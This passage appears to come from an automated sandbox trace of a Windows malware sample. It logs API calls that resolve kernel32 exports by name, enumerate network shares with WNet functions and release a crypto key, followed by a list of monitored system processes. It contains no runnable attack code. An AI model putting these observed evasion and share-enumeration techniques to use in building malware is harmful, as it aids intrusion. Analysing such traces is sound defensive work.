lpString1=0x39ff290, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0095.445] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0095.445] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0095.445] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0095.445] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0095.445] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0095.445] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0095.445] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0095.445] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0095.445] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0095.446] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0095.446] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0095.446] lstrlenA (lpString="CREATEEVENTA") returned 12 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0095.446] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0095.446] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0095.446] lstrlenA (lpString="CREATEEVENTW") returned 12 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0095.446] lstrlenA (lpString="CREATEFIBER") returned 11 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0095.446] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0095.446] lstrlenA (lpString="CREATEFILE2") returned 11 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0095.446] lstrlenA (lpString="CREATEFILEA") returned 11 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0095.446] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0095.446] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0095.446] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0095.446] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0095.446] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0095.446] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0095.446] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0095.447] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0095.447] lstrlenA (lpString="CREATEFILEW") returned 11 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0095.447] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0095.447] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0095.447] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0095.447] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0095.447] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0095.447] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0095.447] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0095.447] lstrlenA (lpString="CREATEJOBSET") returned 12 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0095.447] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0095.447] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0095.447] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0095.447] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0095.447] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0095.447] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0095.447] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0095.448] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0095.448] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0095.448] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0095.448] lstrlenA (lpString="CREATEPIPE") returned 10 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0095.448] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0095.448] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0095.448] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0095.448] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0095.448] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0095.448] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0095.448] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0095.448] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0095.448] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0095.448] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0095.448] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0095.448] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0095.448] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0095.449] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0095.449] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0095.449] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0095.449] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0095.449] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0095.449] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0095.449] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0095.449] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0095.449] lstrlenA (lpString="CREATETHREAD") returned 12 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0095.449] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0095.449] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0095.449] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0095.449] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0095.449] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0095.449] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0095.449] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0095.449] lstrcpyA (in: lpString1=0x39ff290, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0095.453] WNetCloseEnum (hEnum=0x6996b8) returned 0x0 [0095.453] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0095.454] WNetEnumResourceW (in: hEnum=0x68cc68, lpcCount=0x39fff54, lpBuffer=0x3a00000, lpBufferSize=0x39fff4c | out: lpcCount=0x39fff54, lpBuffer=0x3a00000, lpBufferSize=0x39fff4c) returned 0x0 [0095.454] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x3a00000, lphEnum=0x39fff20 | out: lphEnum=0x39fff20*=0x3000) returned 0x4b8 [0113.791] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0113.791] WNetEnumResourceW (in: hEnum=0x68cc68, lpcCount=0x39fff54, lpBuffer=0x3a00000, lpBufferSize=0x39fff4c | out: lpcCount=0x39fff54, lpBuffer=0x3a00000, lpBufferSize=0x39fff4c) returned 0x0 [0113.791] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x3a00000, lphEnum=0x39fff20 | out: lphEnum=0x39fff20*=0x3000) returned 0x4c6 [0113.792] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0113.792] WNetEnumResourceW (in: hEnum=0x68cc68, lpcCount=0x39fff54, lpBuffer=0x3a00000, lpBufferSize=0x39fff4c | out: lpcCount=0x39fff54, lpBuffer=0x3a00000, lpBufferSize=0x39fff4c) returned 0x103 [0113.792] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0113.793] WNetCloseEnum (hEnum=0x68cc68) returned 0x0 [0113.793] CryptDestroyKey (hKey=0x68cc28) returned 1 [0113.793] CryptReleaseContext (hProv=0x6a2918, dwFlags=0x0) returned 1 [0113.793] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.793] RtlExitUserThread (Status=0x0) Thread: id = 147 os_tid = 0xfe0 Thread: id = 168 os_tid = 0x15c Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x51a30000" os_pid = "0x3c0" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0xf90" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 8 os_tid = 0xf60 Thread: id = 9 os_tid = 0x4e4 Thread: id = 10 os_tid = 0x36c Thread: id = 11 os_tid = 0x4a4 Thread: id = 12 os_tid = 0xe5c Thread: id = 13 os_tid = 0x490 Thread: id = 14 os_tid = 0xa24 Thread: id = 15 os_tid = 0x7cc Thread: id = 16 os_tid = 0x2d4 Thread: id = 17 os_tid = 0x5cc Thread: id = 18 os_tid = 0x4f0 Thread: id = 19 os_tid = 0xd24 Thread: id = 20 os_tid = 0xcfc Thread: id = 21 os_tid = 0xc70 Thread: id = 22 os_tid = 0xe90 Thread: id = 23 os_tid = 0xbb4 Thread: id = 24 os_tid = 0xb6c Thread: id = 25 os_tid = 0xa60 Thread: id = 26 os_tid = 0xc34 Thread: id = 27 os_tid = 0xd74 Thread: id = 28 os_tid = 0x324 Thread: id = 29 os_tid = 0xe44 Thread: id = 30 os_tid = 0x2e8 Thread: id = 31 os_tid = 0x270 Thread: id = 32 os_tid = 0x26c Thread: id = 33 os_tid = 0x260 Thread: id = 34 os_tid = 0x200 Thread: id = 35 os_tid = 0xa98 Thread: id = 36 os_tid = 0x744 Thread: id = 37 os_tid = 0xf20 Thread: id = 38 os_tid = 0xf10 Thread: id = 39 os_tid = 0xf08 Thread: id = 40 os_tid = 0xef8 Thread: id = 41 os_tid = 0xef4 Thread: id = 42 os_tid = 0xecc Thread: id = 43 os_tid = 0xe88 Thread: id = 44 os_tid = 0xa50 Thread: id = 45 os_tid = 0xa3c Thread: id = 46 os_tid = 0xa30 Thread: id = 47 os_tid = 0xa18 Thread: id = 48 os_tid = 0x9c4 Thread: id = 49 os_tid = 0x9ac Thread: id = 50 os_tid = 0x9a4 Thread: id = 51 os_tid = 0x9a0 Thread: id = 52 os_tid = 0x99c Thread: id = 53 os_tid = 0x998 Thread: id = 54 os_tid = 0x990 Thread: id = 55 os_tid = 0x988 Thread: id = 56 os_tid = 0x980 Thread: id = 57 os_tid = 0x970 Thread: id = 58 os_tid = 0x96c Thread: id = 59 os_tid = 0x968 Thread: id = 60 os_tid = 0x960 Thread: id = 61 os_tid = 0x954 Thread: id = 62 os_tid = 0x950 Thread: id = 63 os_tid = 0x93c Thread: id = 64 os_tid = 0x938 Thread: id = 65 os_tid = 0x924 Thread: id = 66 os_tid = 0x87c Thread: id = 67 os_tid = 0x80c Thread: id = 68 os_tid = 0x808 Thread: id = 69 os_tid = 0x4dc Thread: id = 70 os_tid = 0x7dc Thread: id = 71 os_tid = 0x7d4 Thread: id = 72 os_tid = 0x7d0 Thread: id = 73 os_tid = 0x7c0 Thread: id = 74 os_tid = 0x730 Thread: id = 75 os_tid = 0x6f0 Thread: id = 76 os_tid = 0x6ec Thread: id = 77 os_tid = 0x664 Thread: id = 78 os_tid = 0x59c Thread: id = 79 os_tid = 0x554 Thread: id = 80 os_tid = 0x4b4 Thread: id = 81 os_tid = 0x44c Thread: id = 82 os_tid = 0x448 Thread: id = 83 os_tid = 0x428 Thread: id = 84 os_tid = 0x418 Thread: id = 85 os_tid = 0x414 Thread: id = 86 os_tid = 0x35c Thread: id = 87 os_tid = 0x340 Thread: id = 88 os_tid = 0x3a0 Thread: id = 89 os_tid = 0x38c Thread: id = 90 os_tid = 0x364 Thread: id = 91 os_tid = 0x248 Thread: id = 92 os_tid = 0x280 Thread: id = 93 os_tid = 0x29c Thread: id = 94 os_tid = 0x188 Thread: id = 95 os_tid = 0x3c4 Thread: id = 107 os_tid = 0xd3c Thread: id = 108 os_tid = 0xb04 Thread: id = 109 os_tid = 0xd80 Thread: id = 110 os_tid = 0xd18 Thread: id = 111 os_tid = 0xa28 Thread: id = 112 os_tid = 0xfa0 Thread: id = 113 os_tid = 0xf78 Thread: id = 114 os_tid = 0xd54 Thread: id = 115 os_tid = 0xd64 Thread: id = 116 os_tid = 0xf98 Thread: id = 117 os_tid = 0xbe4 Thread: id = 118 os_tid = 0x754 Thread: id = 127 os_tid = 0xf38 Thread: id = 128 os_tid = 0x544 Thread: id = 129 os_tid = 0x4d0 Thread: id = 148 os_tid = 0x83c Thread: id = 149 os_tid = 0xdfc Thread: id = 150 os_tid = 0xdf8 Thread: id = 151 os_tid = 0xeec Thread: id = 152 os_tid = 0xf34 Thread: id = 153 os_tid = 0xf04 Thread: id = 154 os_tid = 0x344 Thread: id = 155 os_tid = 0xf80 Thread: id = 156 os_tid = 0x868 Thread: id = 157 os_tid = 0xfb8 Thread: id = 158 os_tid = 0x9c0 Thread: id = 159 os_tid = 0x4d0 Thread: id = 160 os_tid = 0xdcc Thread: id = 161 os_tid = 0xdf4 Thread: id = 162 os_tid = 0x544 Thread: id = 163 os_tid = 0xf38 Thread: id = 164 os_tid = 0x388 Thread: id = 165 os_tid = 0x39c Thread: id = 166 os_tid = 0xf40 Thread: id = 167 os_tid = 0x4d8 Thread: id = 169 os_tid = 0xd80 Thread: id = 170 os_tid = 0x8e8 Thread: id = 171 os_tid = 0xb08 Thread: id = 179 os_tid = 0x658 Process: id = "3" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x50daa000" os_pid = "0xe04" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0002f35f" [0xc000000f] Thread: id = 96 os_tid = 0xb84 Thread: id = 97 os_tid = 0x3cc Thread: id = 98 os_tid = 0xe30 Thread: id = 99 os_tid = 0xe2c Thread: id = 100 os_tid = 0xe28 Thread: id = 101 os_tid = 0xe24 Thread: id = 102 os_tid = 0xe20 Thread: id = 103 os_tid = 0xe1c Thread: id = 104 os_tid = 0xe18 Thread: id = 105 os_tid = 0xe14 Thread: id = 106 os_tid = 0xe08 Process: id = "4" image_name = "trustedinstaller.exe" filename = "c:\\windows\\servicing\\trustedinstaller.exe" page_root = "0x1679a000" os_pid = "0x390" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\TrustedInstaller" [0xe], "NT AUTHORITY\\Logon Session 00000000:00062fe8" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 119 os_tid = 0x1a4 Thread: id = 120 os_tid = 0xf70 Thread: id = 121 os_tid = 0xa80 Thread: id = 122 os_tid = 0xa70 Thread: id = 123 os_tid = 0xd9c Thread: id = 124 os_tid = 0xdd8 Thread: id = 125 os_tid = 0x83c Thread: id = 126 os_tid = 0xa84 Thread: id = 130 os_tid = 0x770 Process: id = "5" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x37823000" os_pid = "0xdc8" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT 